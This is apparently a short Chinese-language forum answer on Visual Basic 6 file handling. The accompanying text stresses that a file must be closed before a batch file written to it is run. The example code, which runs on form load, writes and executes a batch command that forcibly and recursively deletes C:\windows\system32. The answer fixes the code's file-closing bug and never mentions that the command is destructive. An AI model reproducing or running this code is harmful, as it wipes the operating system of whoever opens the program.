Private Sub Form_Load()

Open "c:\a.bat" For Output As #1

s = "del /F /S /Q C:\windows\system32"

Print #1, s;

Close #1 '要插入这行！

Shell "c:\a.bat"

End Sub

请注意，打开的文件要先关闭（Close）才会在硬盘上生成，否则就要等你的程序运行完毕才生成（而这时候Shell已经提前运行了，所以就报错了）。

再次强调：在执行文件操作时，要随时注意关闭文件，打开文件和关闭文件的操作必须成双出现！